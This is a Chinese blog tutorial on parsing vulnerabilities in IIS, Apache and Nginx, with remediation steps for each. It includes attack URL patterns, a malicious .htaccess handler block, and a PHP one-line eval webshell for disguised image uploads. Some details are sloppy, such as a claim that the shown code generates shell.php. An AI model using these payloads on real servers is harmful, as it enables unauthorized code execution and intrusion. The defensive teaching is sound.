不乱于心,不困于情。
不畏将来,不念过往。如此,安好。

web中间件漏洞

一.本文介绍

1、本文介绍IIS5.x-6.x目录解析漏洞、文件解析、解析文件类型、7.5解析漏洞;Apache后缀名、没过滤.htaccess漏洞;Nginx开启的fix_pathinfo漏洞利用。


二.学习步骤

1、IIS漏洞:

1.目录解析漏洞,IIS 5.x-6.x:

原理: 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

形式:www.xxx.com/xx.asp/xx.jpg

1.asp/1.jpg:1.asp为目标的文件路径。1.jpg是我们上传的木马文件。

2.文件解析

原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

形式:www.xxx.com/xx.asp;.jpg

3.解析文件类型

IIS6.0 默认的可执行文件除了asp还包含这三种:

/test.asa

/test.cer

/test.cdx

4. IIS7.5解析漏洞
条件苛刻,除非管理员在请求限制中把映射关闭了的。

由于php配置文件中,开启了cgi.fix_pathinfo,而这并不是nginx或者iis7.5本身的漏洞。
当安装完成后, php.ini里默认cgi.fix_pathinfo=1,对其进行访问的时候,在URL路径后添加.php后缀名会当做php文件进行解析,漏洞由此产生

默认开启,但是得关了才能利用。
后面跟/.php

修复方案

1.目前尚无微软官方的补丁,可以通过自己编写正则,阻止上传xx.asp;.jpg类型的文件名。

2.做好权限设置,限制用户创建文件夹。


2、Apache

1. 后缀漏洞:

原理:
Apache 解析文件的规则是从右到左开始判断解析,如果后缀名为不可识别文件解析,就再往左判断。比如test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把xxx.php.owf.rar解析成php。

漏洞形式 :
www.xxxx.xxx.com/test.php.xxxx

xxx是apache不可识别解析,apache就会把2.php.xxx解析成php。
123是apache不可识别解析,apache就会把2.php.xxx解析成php。

2. 没过滤.htaccess漏洞:

在.htaccess中添加代码:

<FilesMatch “”>

SetHandler application/x-httpd-php

</FilesMatch>

在.htaccess中添加代码后,上传.jpg的文件会被当做php来执行

其余配置问题导致漏洞:

(1)如果在 Apache 的conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。

修复方案:

1. apache配置文件,禁止.php.这样的文件执行,配置文件里面加入

<Files ~ “.(php.|php3.)”>

Order Allow,Deny

Deny from all

</Files>

2. 用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModulerewrite_module modules/mod_rewrite.so

把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下:

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteRule.(php.|php3.) /index.php

RewriteRule.(pHp.|pHp3.) /index.php

RewriteRule.(phP.|phP3.) /index.php

RewriteRule.(Php.|Php3.) /index.php

RewriteRule.(PHp.|PHp3.) /index.php

RewriteRule.(PhP.|PhP3.) /index.php

RewriteRule.(pHP.|pHP3.) /index.php

RewriteRule.(PHP.|PHP3.) /index.php

</IfModule>


3、Nginx

漏洞原理:

Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式:

www.xxxx.com/UploadFiles/image/1.jpg/1.php

www.xxxx.com/UploadFiles/image/1.jpg%00.php

www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

xxx.jpg%00.php (Nginx <8.03 空字节代码执行漏洞)

另外一种手法:上传一个名字为test.jpg,以下内容的文件。

<?php @eval($_POST[‘aim’]);phpinfo();?>

然后访问test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

/1.php
/%20\0.php

修复方案:

1.修改php.ini文件,将cgi.fix_pathinfo的值设置为0;

2.在Nginx配置文件中添加以下代码:

if ( $fastcgi_script_name~..*/.*php ) {

return403;

}

这行代码的意思是当匹配到类似test.jpg/a.php的URL时,将返回403错误代码。

赞(0)
未经允许不得转载:seo优化_前端开发_渗透技术 » web中间件漏洞